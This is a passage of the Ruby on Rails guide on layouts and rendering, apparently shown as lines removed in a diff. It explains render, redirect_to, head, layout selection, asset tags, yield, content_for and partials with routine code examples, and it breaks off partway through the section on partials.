-In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide.
-
-h3. Creating Responses
-
-From the controller's point of view, there are three ways to create an HTTP response:
-
-* Call +render+ to create a full response to send back to the browser
-* Call +redirect_to+ to send an HTTP redirect status code to the browser
-* Call +head+ to create a response consisting solely of HTTP headers to send back to the browser
-
-I'll cover each of these methods in turn. But first, a few words about the very easiest thing that the controller can do to create a response: nothing at all.
-
-h4. Rendering by Default: Convention Over Configuration in Action
-
-You've heard that Rails promotes "convention over configuration". Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to valid routes. For example, if you have this code in your +BooksController+ class:
-
-<ruby>
-class BooksController < ApplicationController
-end
-</ruby>
-
-And the following in your routes file:
-
-<ruby>
-resources :books
-</ruby>
-
-And you have a view file +app/views/books/index.html.erb+:
-
-<ruby>
-<h1>Books are coming soon!</h1>
-</ruby>
-
-Rails will automatically render +app/views/books/index.html.erb+ when you navigate to +/books+ and you will see "Books are coming soon!" on your screen.
-
-However a coming soon screen is only minimally useful, so you will soon create your +Book+ model and add the index action to +BooksController+:
-
-<ruby>
-class BooksController < ApplicationController
- def index
- @books = Book.all
- end
-end
-</ruby>
-
-Note that we don't have explicit render at the end of the index action in accordance with "convention over configuration" principle. The rule is that if you do not explicitly render something at the end of a controller action, Rails will automatically look for the +action_name.html.erb+ template in the controller's view path and render it. So in this case, Rails will render the +app/views/books/index.html.erb+ file.
-
-If we want to display the properties of all the books in our view, we can do so with an ERB template like this:
-
-<ruby>
-<h1>Listing Books</h1>
-
-<table>
- <tr>
- <th>Title</th>
- <th>Summary</th>
- <th></th>
- <th></th>
- <th></th>
- </tr>
-
-<% @books.each do |book| %>
- <tr>
- <td><%= book.title %></td>
- <td><%= book.content %></td>
- <td><%= link_to 'Show', book %></td>
- <td><%= link_to 'Edit', edit_book_path(book) %></td>
- <td><%= link_to 'Remove', book, :confirm => 'Are you sure?', :method => :delete %></td>
- </tr>
-<% end %>
-</table>
-
-<br />
-
-<%= link_to 'New book', new_book_path %>
-</ruby>
-
-NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. Beginning with Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), and +.builder+ for Builder (XML generator).
-
-h4. Using +render+
-
-In most cases, the +ActionController::Base#render+ method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behaviour of +render+. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.
-
-TIP: If you want to see the exact results of a call to +render+ without needing to inspect it in a browser, you can call +render_to_string+. This method takes exactly the same options as +render+, but it returns a string instead of sending a response back to the browser.
-
-h5. Rendering Nothing
-
-Perhaps the simplest thing you can do with +render+ is to render nothing at all:
-
-<ruby>
-render :nothing => true
-</ruby>
-
-If you look at the response for this using cURL, you will see the following:
-
-<shell>
-$ curl -i 127.0.0.1:3000/books
-HTTP/1.1 200 OK
-Connection: close
-Date: Sun, 24 Jan 2010 09:25:18 GMT
-Transfer-Encoding: chunked
-Content-Type: */*; charset=utf-8
-X-Runtime: 0.014297
-Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
-Cache-Control: no-cache
-
-
- $
-</shell>
-
-We see there is an empty response (no data after the +Cache-Control+ line), but the request was successful because Rails has set the response to 200 OK. You can set the +:status+ option on render to change this response. Rendering nothing can be useful for AJAX requests where all you want to send back to the browser is an acknowledgment that the request was completed.
-
-TIP: You should probably be using the +head+ method, discussed later in this guide, instead of +render :nothing+. This provides additional flexibility and makes it explicit that you're only generating HTTP headers.
-
-h5. Rendering an Action's View
-
-If you want to render the view that corresponds to a different action within the same template, you can use +render+ with the name of the view:
-
-<ruby>
-def update
- @book = Book.find(params[:id])
- if @book.update_attributes(params[:book])
- redirect_to(@book)
- else
- render "edit"
- end
-end
-</ruby>
-
-If the call to +update_attributes+ fails, calling the +update+ action in this controller will render the +edit.html.erb+ template belonging to the same controller.
-
-If you prefer, you can use a symbol instead of a string to specify the action to render:
-
-<ruby>
-def update
- @book = Book.find(params[:id])
- if @book.update_attributes(params[:book])
- redirect_to(@book)
- else
- render :edit
- end
-end
-</ruby>
-
-To be explicit, you can use +render+ with the +:action+ option (though this is no longer necessary in Rails 3.0):
-
-<ruby>
-def update
- @book = Book.find(params[:id])
- if @book.update_attributes(params[:book])
- redirect_to(@book)
- else
- render :action => "edit"
- end
-end
-</ruby>
-
-WARNING: Using +render+ with +:action+ is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does _not_ run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling +render+.
-
-h5. Rendering an Action's Template from Another Controller
-
-What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with +render+, which accepts the full path (relative to +app/views+) of the template to render. For example, if you're running code in an +AdminProductsController+ that lives in +app/controllers/admin+, you can render the results of an action to a template in +app/views/products+ this way:
-
-<ruby>
-render 'products/show'
-</ruby>
-
-Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the +:template+ option (which was required on Rails 2.2 and earlier):
-
-<ruby>
-render :template => 'products/show'
-</ruby>
-
-h5. Rendering an Arbitrary File
-
-The +render+ method can also use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications):
-
-<ruby>
-render "/u/apps/warehouse_app/current/app/views/products/show"
-</ruby>
-
-Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the +:file+ option (which was required on Rails 2.2 and earlier):
-
-<ruby>
-render :file =>
- "/u/apps/warehouse_app/current/app/views/products/show"
-</ruby>
-
-The +:file+ option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content.
-
-NOTE: By default, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the +:layout => true+ option.
-
-TIP: If you're running Rails on Microsoft Windows, you should use the +:file+ option to render a file, because Windows filenames do not have the same format as Unix filenames.
-
-h5. Wrapping it up
-
-The above three ways of rendering (rendering another template within the controller, rendering a template within another controller and rendering an arbitrary file on the file system) are actually variants of the same action.
-
-In fact, in the BooksController class, inside of the update action where we want to render the edit template if the book does not update successfully, all of the following render calls would all render the +edit.html.erb+ template in the +views/books+ directory:
-
-<ruby>
-render :edit
-render :action => :edit
-render 'edit'
-render 'edit.html.erb'
-render :action => 'edit'
-render :action => 'edit.html.erb'
-render 'books/edit'
-render 'books/edit.html.erb'
-render :template => 'books/edit'
-render :template => 'books/edit.html.erb'
-render '/path/to/rails/app/views/books/edit'
-render '/path/to/rails/app/views/books/edit.html.erb'
-render :file => '/path/to/rails/app/views/books/edit'
-render :file => '/path/to/rails/app/views/books/edit.html.erb'
-</ruby>
-
-Which one you use is really a matter of style and convention, but the rule of thumb is to use the simplest one that makes sense for the code you are writing.
-
-h5. Using +render+ with +:inline+
-
-The +render+ method can do without a view completely, if you're willing to use the +:inline+ option to supply ERB as part of the method call. This is perfectly valid:
-
-<ruby>
-render :inline =>
- "<% products.each do |p| %><p><%= p.name %></p><% end %>"
-</ruby>
-
-WARNING: There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.
-
-By default, inline rendering uses ERB. You can force it to use Builder instead with the +:type+ option:
-
-<ruby>
-render :inline =>
- "xml.p {'Horrid coding practice!'}", :type => :builder
-</ruby>
-
-h5. Rendering Text
-
-You can send plain text - with no markup at all - back to the browser by using the +:text+ option to +render+:
-
-<ruby>
-render :text => "OK"
-</ruby>
-
-TIP: Rendering pure text is most useful when you're responding to AJAX or web service requests that are expecting something other than proper HTML.
-
-NOTE: By default, if you use the +:text+ option, the text is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the +:layout => true+ option.
-
-h5. Rendering JSON
-
-JSON is a JavaScript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:
-
-<ruby>
-render :json => @product
-</ruby>
-
-TIP: You don't need to call +to_json+ on the object that you want to render. If you use the +:json+ option, +render+ will automatically call +to_json+ for you.
-
-h5. Rendering XML
-
-Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:
-
-<ruby>
-render :xml => @product
-</ruby>
-
-TIP: You don't need to call +to_xml+ on the object that you want to render. If you use the +:xml+ option, +render+ will automatically call +to_xml+ for you.
-
-h5. Rendering Vanilla JavaScript
-
-Rails can render vanilla JavaScript:
-
-<ruby>
-render :js => "alert('Hello Rails');"
-</ruby>
-
-This will send the supplied string to the browser with a MIME type of +text/javascript+.
-
-h5. Options for +render+
-
-Calls to the +render+ method generally accept four options:
-
-* +:content_type+
-* +:layout+
-* +:status+
-* +:location+
-
-h6. The +:content_type+ Option
-
-By default, Rails will serve the results of a rendering operation with the MIME content-type of +text/html+ (or +application/json+ if you use the +:json+ option, or +application/xml+ for the +:xml+ option.). There are times when you might like to change this, and you can do so by setting the +:content_type+ option:
-
-<ruby>
-render :file => filename, :content_type => 'application/rss'
-</ruby>
-
-h6. The +:layout+ Option
-
-With most of the options to +render+, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide.
-
-You can use the +:layout+ option to tell Rails to use a specific file as the layout for the current action:
-
-<ruby>
-render :layout => 'special_layout'
-</ruby>
-
-You can also tell Rails to render with no layout at all:
-
-<ruby>
-render :layout => false
-</ruby>
-
-h6. The +:status+ Option
-
-Rails will automatically generate a response with the correct HTTP status code (in most cases, this is +200 OK+). You can use the +:status+ option to change this:
-
-<ruby>
-render :status => 500
-render :status => :forbidden
-</ruby>
-
-Rails understands both numeric status codes and symbols for status codes.
-
-h6. The +:location+ Option
-
-You can use the +:location+ option to set the HTTP +Location+ header:
-
-<ruby>
-render :xml => photo, :location => photo_url(photo)
-</ruby>
-
-h5. Finding Layouts
-
-To find the current layout, Rails first looks for a file in +app/views/layouts+ with the same base name as the controller. For example, rendering actions from the +PhotosController+ class will use +app/views/layouts/photos.html.erb+ (or +app/views/layouts/photos.builder+). If there is no such controller-specific layout, Rails will use +app/views/layouts/application.html.erb+ or +app/views/layouts/application.builder+. If there is no +.erb+ layout, Rails will use a +.builder+ layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.
-
-h6. Specifying Layouts on a per-Controller Basis
-
-You can override the automatic layout conventions in your controllers by using the +layout+ declaration in the controller. For example:
-
-<ruby>
-class ProductsController < ApplicationController
- layout "inventory"
- #...
-end
-</ruby>
-
-With this declaration, all methods within +ProductsController+ will use +app/views/layouts/inventory.html.erb+ for their layout.
-
-To assign a specific layout for the entire application, use a declaration in your +ApplicationController+ class:
-
-<ruby>
-class ApplicationController < ActionController::Base
- layout "main"
- #...
-end
-</ruby>
-
-With this declaration, all views in the entire application will use +app/views/layouts/main.html.erb+ for their layout.
-
-h6. Choosing Layouts at Runtime
-
-You can use a symbol to defer the choice of layout until a request is processed:
-
-<ruby>
-class ProductsController < ApplicationController
- layout :products_layout
-
- def show
- @product = Product.find(params[:id])
- end
-
- private
- def products_layout
- @current_user.special? ? "special" : "products"
- end
-
-end
-</ruby>
-
-Now, if the current user is a special user, they'll get a special layout when viewing a product. You can even use an inline method to determine the layout:
-
-You can also decide the layout by passing a Proc object, the block you give the Proc will be given the +controller+ instance, so you can make decisions based on the current request. For example:
-
-<ruby>
-class ProductsController < ApplicationController
- layout Proc.new { |controller| controller.request.xhr? ? 'popup' : 'application' }
-end
-</ruby>
-
-h6. Conditional Layouts
-
-Layouts specified at the controller level support +:only+ and +:except+ options that take either a method name or an array of method names which correspond to method names within the controller:
-
-<ruby>
-class ProductsController < ApplicationController
- layout "product", :except => [:index, :rss]
-end
-</ruby>
-
-With this declaration, the +product+ layout would be used for everything but the +rss+ and +index+ methods.
-
-h6. Layout Inheritance
-
-Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example:
-
-* +application_controller.rb+
-
-<ruby>
-class ApplicationController < ActionController::Base
- layout "main"
-end
-</ruby>
-
-* +posts_controller.rb+
-
-<ruby>
-class PostsController < ApplicationController
-end
-</ruby>
-
-* +special_posts_controller.rb+
-
-<ruby>
-class SpecialPostsController < PostsController
- layout "special"
-end
-</ruby>
-
-* +old_posts_controller.rb+
-
-<ruby>
-class OldPostsController < SpecialPostsController
- layout nil
-
- def show
- @post = Post.find(params[:id])
- end
-
- def index
- @old_posts = Post.older
- render :layout => "old"
- end
- # ...
-end
-</ruby>
-
-In this application:
-
-* In general, views will be rendered in the +main+ layout
-* +PostsController#index+ will use the +main+ layout
-* +SpecialPostsController#index+ will use the +special+ layout
-* +OldPostsController#show+ will use no layout at all
-* +OldPostsController#index+ will use the +old+ layout
-
-h5. Avoiding Double Render Errors
-
-Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that +render+ works.
-
-For example, here's some code that will trigger this error:
-
-<ruby>
-def show
- @book = Book.find(params[:id])
- if @book.special?
- render :action => "special_show"
- end
- render :action => "regular_show"
-end
-</ruby>
-
-If +@book.special?+ evaluates to +true+, Rails will start the rendering process to dump the +@book+ variable into the +special_show+ view. But this will _not_ stop the rest of the code in the +show+ action from running, and when Rails hits the end of the action, it will start to render the +regular_show+ view - and throw an error. The solution is simple: make sure that you have only one call to +render+ or +redirect+ in a single code path. One thing that can help is +and return+. Here's a patched version of the method:
-
-<ruby>
-def show
- @book = Book.find(params[:id])
- if @book.special?
- render :action => "special_show" and return
- end
- render :action => "regular_show"
-end
-</ruby>
-
-Make sure you use +and return+ and not +&amp;&amp; return+ because while the former will work, the latter will not due to operator precedence in the Ruby Language.
-
-Note that the implicit render done by ActionController detects if +render+ has been called, and thus avoids this error. Therefore, the following will work without errors:
-
-<ruby>
-def show
- @book = Book.find(params[:id])
- if @book.special?
- render :action => "special_show"
- end
-end
-</ruby>
-
-This will render a book with +special?+ set with the +special_show+ template, while other books will render with the default +show+ template.
-
-h4. Using +redirect_to+
-
-Another way to handle returning responses to an HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:
-
-<ruby>
-redirect_to photos_url
-</ruby>
-
-You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. In addition, there's a special redirect that sends the user back to the page they just came from:
-
-<ruby>
-redirect_to :back
-</ruby>
-
-h5. Getting a Different Redirect Status Code
-
-Rails uses HTTP status code 302 (temporary redirect) when you call +redirect_to+. If you'd like to use a different status code (perhaps 301, permanent redirect), you can do so by using the +:status+ option:
-
-<ruby>
-redirect_to photos_path, :status => 301
-</ruby>
-
-Just like the +:status+ option for +render+, +:status+ for +redirect_to+ accepts both numeric and symbolic header designations.
-
-h5. The Difference Between +render+ and +redirect_to+
-
-Sometimes inexperienced developers conceive of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code.
-
-Consider these actions to see the difference:
-
-<ruby>
-def index
- @books = Book.all
-end
-
-def show
- @book = Book.find_by_id(params[:id])
- if @book.nil?
- render :action => "index"
- end
-end
-</ruby>
-
-With the code in this form, there will likely be a problem if the +@book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the +@books+ variable that the +index+ view is presumably depending on. One way to fix this is to redirect instead of rendering:
-
-<ruby>
-def index
- @books = Book.all
-end
-
-def show
- @book = Book.find_by_id(params[:id])
- if @book.nil?
- redirect_to :action => :index
- end
-end
-</ruby>
-
-With this code, the browser will make a fresh request for the index page, the code in the +index+ method will run, and all will be well.
-
-The only downside to this code, is that it requires a round trip to the browser, the browser requested the show action with +/books/1+ and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to +/books/+, the browser complies and sends a new request back to the controller asking now for the +index+ action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen.
-
-While in a small app, this added latency might not be a problem, it is something to think about when speed of response is of the essence. One way to handle this double request (though a contrived example) could be:
-
-<ruby>
-def index
- @books = Book.all
-end
-
-def show
- @book = Book.find_by_id(params[:id])
- if @book.nil?
- @books = Book.all
- render "index", :alert => 'Your book was not found!'
- end
-end
-</ruby>
-
-Which would detect that there are no books, populate the +@books+ instance variable with all the books in the database and then directly render the +index.html.erb+ template returning it to the browser with a flash alert message telling the user what happened.
-
-h4. Using +head+ To Build Header-Only Responses
-
-The +head+ method can be used to send responses with only headers to the browser. It provides a more obvious alternative to calling +render :nothing+. The +head+ method takes one parameter, which is interpreted as a hash of header names and values. For example, you can return only an error header:
-
-<ruby>
-head :bad_request
-</ruby>
-
-Which would produce the following header:
-
-<shell>
-HTTP/1.1 400 Bad Request
-Connection: close
-Date: Sun, 24 Jan 2010 12:15:53 GMT
-Transfer-Encoding: chunked
-Content-Type: text/html; charset=utf-8
-X-Runtime: 0.013483
-Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
-Cache-Control: no-cache
-</shell>
-
-Or you can use other HTTP headers to convey additional information:
-
-<ruby>
-head :created, :location => photo_path(@photo)
-</ruby>
-
-Which would produce:
-
-<shell>
-HTTP/1.1 201 Created
-Connection: close
-Date: Sun, 24 Jan 2010 12:16:44 GMT
-Transfer-Encoding: chunked
-Location: /photos/1
-Content-Type: text/html; charset=utf-8
-X-Runtime: 0.083496
-Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
-Cache-Control: no-cache
-</shell>
-
-h3. Structuring Layouts
-
-When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response:
-
-* Asset tags
-* +yield+ and +content_for+
-* Partials
-
-h4. Asset Tags
-
-Asset tags provide methods for generating HTML that links views to feeds, JavaScript, stylesheets, images, videos and audios. These are the six asset tags available in Rails:
-
-* +auto_discovery_link_tag+
-* +javascript_include_tag+
-* +stylesheet_link_tag+
-* +image_tag+
-* +video_tag+
-* +audio_tag+
-
-You can use these tags in layouts or other views, although the tags other than +image_tag+ are most commonly used in the +&lt;head&gt;+ section of a layout.
-
-WARNING: The asset tags do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.
-
-h5. Linking to Feeds with +auto_discovery_link_tag+
-
-The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (+:rss+ or +:atom+), a hash of options that are passed through to url_for, and a hash of options for the tag:
-
-<erb>
-<%= auto_discovery_link_tag(:rss, {:action => "feed"},
- {:title => "RSS Feed"}) %>
-</erb>
-
-There are three tag options available for +auto_discovery_link_tag+:
-
-* +:rel+ specifies the +rel+ value in the link (defaults to "alternate")
-* +:type+ specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically.
-* +:title+ specifies the title of the link
-
-h5. Linking to JavaScript Files with +javascript_include_tag+
-
-The +javascript_include_tag+ helper returns an HTML +script+ tag for each source provided. Rails looks in +public/javascripts+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/javascripts/main.js+:
-
-<erb>
-<%= javascript_include_tag "main" %>
-</erb>
-
-To include +public/javascripts/main.js+ and +public/javascripts/columns.js+:
-
-<erb>
-<%= javascript_include_tag "main", "columns" %>
-</erb>
-
-To include +public/javascripts/main.js+ and +public/photos/columns.js+:
-
-<erb>
-<%= javascript_include_tag "main", "/photos/columns" %>
-</erb>
-
-To include +http://example.com/main.js+:
-
-<erb>
-<%= javascript_include_tag "http://example.com/main.js" %>
-</erb>
-
-If the application does not use the asset pipeline, the +:defaults+ option loads jQuery by default:
-
-<erb>
-<%= javascript_include_tag :defaults %>
-</erb>
-
-And you can in any case override the expansion in <tt>config/application.rb</tt>:
-
-<ruby>
-config.action_view.javascript_expansions[:defaults] = %w(foo.js bar.js)
-</ruby>
-
-When using <tt>:defaults</tt>, if an <tt>application.js</tt> file exists in <tt>public/javascripts</tt> it will be included as well at then end.
-
-Also, the +:all+ option loads every JavaScript file in +public/javascripts+:
-
-<erb>
-<%= javascript_include_tag :all %>
-</erb>
-
-Note that your defaults of choice will be included first, so they will be available to all subsequently included files.
-
-You can supply the +:recursive+ option to load files in subfolders of +public/javascripts+ as well:
-
-<erb>
-<%= javascript_include_tag :all, :recursive => true %>
-</erb>
-
-If you're loading multiple JavaScript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify +:cache => true+ in your +javascript_include_tag+:
-
-<erb>
-<%= javascript_include_tag "main", "columns", :cache => true %>
-</erb>
-
-By default, the combined file will be delivered as +javascripts/all.js+. You can specify a location for the cached asset file instead:
-
-<erb>
-<%= javascript_include_tag "main", "columns",
- :cache => 'cache/main/display' %>
-</erb>
-
-You can even use dynamic paths such as +cache/#{current_site}/main/display+.
-
-h5. Linking to CSS Files with +stylesheet_link_tag+
-
-The +stylesheet_link_tag+ helper returns an HTML +&lt;link&gt;+ tag for each source provided. Rails looks in +public/stylesheets+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/stylesheets/main.css+:
-
-<erb>
-<%= stylesheet_link_tag "main" %>
-</erb>
-
-To include +public/stylesheets/main.css+ and +public/stylesheets/columns.css+:
-
-<erb>
-<%= stylesheet_link_tag "main", "columns" %>
-</erb>
-
-To include +public/stylesheets/main.css+ and +public/photos/columns.css+:
-
-<erb>
-<%= stylesheet_link_tag "main", "/photos/columns" %>
-</erb>
-
-To include +http://example.com/main.css+:
-
-<erb>
-<%= stylesheet_link_tag "http://example.com/main.css" %>
-</erb>
-
-By default, +stylesheet_link_tag+ creates links with +media="screen" rel="stylesheet" type="text/css"+. You can override any of these defaults by specifying an appropriate option (+:media+, +:rel+, or +:type+):
-
-<erb>
-<%= stylesheet_link_tag "main_print", :media => "print" %>
-</erb>
-
-The +all+ option links every CSS file in +public/stylesheets+:
-
-<erb>
-<%= stylesheet_link_tag :all %>
-</erb>
-
-You can supply the +:recursive+ option to link files in subfolders of +public/stylesheets+ as well:
-
-<erb>
-<%= stylesheet_link_tag :all, :recursive => true %>
-</erb>
-
-If you're loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify +:cache => true+ in your +stylesheet_link_tag+:
-
-<erb>
-<%= stylesheet_link_tag "main", "columns", :cache => true %>
-</erb>
-
-By default, the combined file will be delivered as +stylesheets/all.css+. You can specify a location for the cached asset file instead:
-
-<erb>
-<%= stylesheet_link_tag "main", "columns",
- :cache => 'cache/main/display' %>
-</erb>
-
-You can even use dynamic paths such as +cache/#{current_site}/main/display+.
-
-h5. Linking to Images with +image_tag+
-
-The +image_tag+ helper builds an HTML +&lt;img /&gt;+ tag to the specified file. By default, files are loaded from +public/images+.
-
-WARNING: Note that you must specify the extension of the image. Previous versions of Rails would allow you to just use the image name and would append +.png+ if no extension was given but Rails 3.0 does not.
-
-<erb>
-<%= image_tag "header.png" %>
-</erb>
-
-You can supply a path to the image if you like:
-
-<erb>
-<%= image_tag "icons/delete.gif" %>
-</erb>
-
-You can supply a hash of additional HTML options:
-
-<erb>
-<%= image_tag "icons/delete.gif", {:height => 45} %>
-</erb>
-
-You can also supply an alternate image to show on mouseover:
-
-<erb>
-<%= image_tag "home.gif", :onmouseover => "menu/home_highlight.gif" %>
-</erb>
-
-You can supply alternate text for the image which will be used if the user has images turned off in their browser. If you do not specify an alt text explicitly, it defaults to the file name of the file, capitalized and with no extension. For example, these two image tags would return the same code:
-
-<erb>
-<%= image_tag "home.gif" %>
-<%= image_tag "home.gif", :alt => "Home" %>
-</erb>
-
-You can also specify a special size tag, in the format "{width}x{height}":
-
-<erb>
-<%= image_tag "home.gif", :size => "50x20" %>
-</erb>
-
-In addition to the above special tags, you can supply a final hash of standard HTML options, such as +:class+, +:id+ or +:name+:
-
-<erb>
-<%= image_tag "home.gif", :alt => "Go Home",
- :id => "HomeImage",
- :class => 'nav_bar' %>
-</erb>
-
-h5. Linking to Videos with +video_tag+
-
-The +video_tag+ helper builds an HTML 5 +&lt;video&gt;+ tag to the specified file. By default, files are loaded from +public/videos+.
-
-<erb>
-<%= video_tag "movie.ogg" %>
-</erb>
-
-Produces
-
-<erb>
-<video src="/videos/movie.ogg" />
-</erb>
-
-Like an +image_tag+ you can supply a path, either absolute, or relative to the +public/videos+ directory. Additionally you can specify the +:size => "#{width}x#{height}"+ option just like an +image_tag+. Video tags can also have any of the HTML options specified at the end (+id+, +class+ et al).
-
-The video tag also supports all of the +&lt;video&gt;+ HTML options through the HTML options hash, including:
-
-* +:poster => 'image_name.png'+, provides an image to put in place of the video before it starts playing.
-* +:autoplay => true+, starts playing the video on page load.
-* +:loop => true+, loops the video once it gets to the end.
-* +:controls => true+, provides browser supplied controls for the user to interact with the video.
-* +:autobuffer => true+, the video will pre load the file for the user on page load.
-
-You can also specify multiple videos to play by passing an array of videos to the +video_tag+:
-
-<erb>
-<%= video_tag ["trailer.ogg", "movie.ogg"] %>
-</erb>
-
-This will produce:
-
-<erb>
-<video><source src="trailer.ogg" /><source src="movie.ogg" /></video>
-</erb>
-
-h5. Linking to Audio files with +audio_tag+
-
-The +audio_tag+ helper builds an HTML 5 +&lt;audio&gt;+ tag to the specified file. By default, files are loaded from +public/audios+.
-
-<erb>
-<%= audio_tag "music.mp3" %>
-</erb>
-
-You can supply a path to the audio file if you like:
-
-<erb>
-<%= audio_tag "music/first_song.mp3" %>
-</erb>
-
-You can also supply a hash of additional options, such as +:id+, +:class+ etc.
-
-Like the +video_tag+, the +audio_tag+ has special options:
-
-* +:autoplay => true+, starts playing the audio on page load
-* +:controls => true+, provides browser supplied controls for the user to interact with the audio.
-* +:autobuffer => true+, the audio will pre load the file for the user on page load.
-
-h4. Understanding +yield+
-
-Within the context of a layout, +yield+ identifies a section where content from the view should be inserted. The simplest way to use this is to have a single +yield+, into which the entire contents of the view currently being rendered is inserted:
-
-<erb>
-<html>
- <head>
- </head>
- <body>
- <%= yield %>
- </body>
-</html>
-</erb>
-
-You can also create a layout with multiple yielding regions:
-
-<erb>
-<html>
- <head>
- <%= yield :head %>
- </head>
- <body>
- <%= yield %>
- </body>
-</html>
-</erb>
-
-The main body of the view will always render into the unnamed +yield+. To render content into a named +yield+, you use the +content_for+ method.
-
-h4. Using +content_for+
-
-The +content_for+ method allows you to insert content into a named +yield+ block in your layout. For example, this view would work with the layout that you just saw:
-
-<erb>
-<% content_for :head do %>
- <title>A simple page</title>
-<% end %>
-
-<p>Hello, Rails!</p>
-</erb>
-
-The result of rendering this page into the supplied layout would be this HTML:
-
-<erb>
-<html>
- <head>
- <title>A simple page</title>
- </head>
- <body>
- <p>Hello, Rails!</p>
- </body>
-</html>
-</erb>
-
-The +content_for+ method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific JavaScript or css files into the header of an otherwise generic layout.
-
-h4. Using Partials
-
-Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.
-
-h5. Naming Partials
-
-To render a partial as part of a view, you use the +render+ method within the view:
-
-<ruby>
-<%= render "menu" %>
-</ruby>
-
-This will render a file named +_menu.html.erb+ at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
-
-<ruby>
-<%= render "shared/menu" %>
-</ruby>
-
-That code will pull in the partial from +app/views/shared/_menu.html.erb+.
-
-h5. Using Partials to Simplify Views
-
-One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:
-
-<erb>
-<%= render "shared/ad_banner" %>
-
-<h1>Products</h1>
-
-<p>Here are a few of our fine products:</p>
-...
-
-<%= render "shared/footer" %>
-</erb>
-
-Here, the +_ad_banner.html.erb+ and +_footer.html.erb+ partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
-
-TIP: For content that is shared among all pages in your application, you can use partials directly from layouts.
-
-h5. Partial Layouts
-
-A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:
-
-<erb>
-<%= render :partial => "link_area", :layout => "graybar" %>
-</erb>
-
-This would look for a partial named +_link_area.html.erb+ and render it using the layout +_graybar.html.erb+. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master +layouts+ folder).
-
-Also note that explicitly specifying +:partial+ is required when passing additional options such as +:layout+.
-
-h5. Passing Local Variables
-
-You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:
-
-* +new.html.erb+
-
-<erb>
-<h1>New zone</h1>
-<%= error_messages_for :zone %>
-<%= render :partial => "form", :locals => { :zone => @zone } %>
-</erb>
-
-* +edit.html.erb+
-
-<erb>
-<h1>Editing zone</h1>
-<%= error_messages_for :zone %>
-<%= render :partial => "form", :locals => { :zone => @zone } %>
-</erb>
-
-* +_form.html.erb+
-
-<erb>
-<%= form_for(zone) do |f| %>
- <p>
- <b>Zone name</b><br />
- <%= f.text_field :name %>
- </p>
- <p>
- <%= f.submit %>
- </p>
-<% end %>
-</erb>
-
-Although the same partial will be rendered into both views, Action View's submit helper will return "Create Zone" for the new action and "Update Zone" for the edit action.
-
-Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the +:object+ option:
-
-<erb>
-<%= render :partial => "customer", :object => @new_customer %>
-</erb>
-
